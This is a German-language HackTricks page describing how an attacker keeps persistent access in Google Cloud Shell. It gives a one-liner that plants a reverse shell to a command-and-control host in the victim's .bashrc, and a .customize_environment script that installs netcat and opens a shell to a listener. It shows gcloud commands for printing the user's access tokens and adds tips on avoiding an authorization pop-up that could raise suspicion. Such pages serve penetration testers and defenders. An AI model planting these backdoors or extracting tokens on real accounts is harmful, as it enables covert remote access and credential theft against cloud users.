GCP - Cloud Shell Persistence

Support HackTricks

Cloud Shell

Für weitere Informationen siehe:

Persistente Hintertür

Google Cloud Shell bietet dir direkten Zugriff auf deine Cloud-Ressourcen über die Befehlszeile direkt aus deinem Browser, ohne damit verbundene Kosten.

Du kannst auf Googles Cloud Shell über die Web-Konsole oder durch Ausführen von gcloud cloud-shell ssh zugreifen.

Diese Konsole hat einige interessante Fähigkeiten für Angreifer:

  1. Jeder Google-Nutzer mit Zugriff auf Google Cloud hat Zugriff auf eine vollständig authentifizierte Cloud Shell-Instanz (Dienstkonten können dies, selbst wenn sie Eigentümer der Organisation sind).

  2. Diese Instanz wird ihr Home-Verzeichnis für mindestens 120 Tage beibehalten, wenn keine Aktivität stattfindet.

  3. Es gibt keine Möglichkeiten für eine Organisation, die Aktivität dieser Instanz zu überwachen.

Das bedeutet im Grunde, dass ein Angreifer eine Hintertür im Home-Verzeichnis des Nutzers platzieren kann und solange der Nutzer alle 120 Tage mindestens eine Verbindung zur GC Shell herstellt, wird die Hintertür überleben und der Angreifer erhält jedes Mal eine Shell, wenn sie ausgeführt wird, einfach indem er:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

Es gibt eine weitere Datei im Home-Verzeichnis namens .customize_environment, die, falls sie existiert, jedes Mal ausgeführt wird, wenn der Benutzer auf die cloud shell zugreift (wie in der vorherigen Technik). Fügen Sie einfach die vorherige Hintertür oder eine ähnliche wie die folgende ein, um die Persistenz aufrechtzuerhalten, solange der Benutzer die cloud shell "häufig" verwendet:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

Es ist wichtig zu beachten, dass beim ersten Mal, wenn eine Aktion, die eine Authentifizierung erfordert, ausgeführt wird, ein Pop-up-Autorisierungsfenster im Browser des Benutzers erscheint. Dieses Fenster muss akzeptiert werden, bevor der Befehl ausgeführt werden kann. Wenn ein unerwartetes Pop-up erscheint, könnte dies Verdacht erregen und potenziell die verwendete Persistenzmethode gefährden.

Dies ist das Pop-up von der Ausführung von gcloud projects list aus der Cloud-Shell (als Angreifer) im Benutzer-Sitzung des Browsers gesehen:

Wenn der Benutzer jedoch die Cloud-Shell aktiv genutzt hat, erscheint das Pop-up nicht und Sie können Tokens des Benutzers mit:

gcloud auth print-access-token
gcloud auth application-default print-access-token

Wie die SSH-Verbindung hergestellt wird

Grundsätzlich werden diese 3 API-Aufrufe verwendet:

Weitere Informationen finden Sie unter https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Referenzen

HackTricks unterstützen

Last updated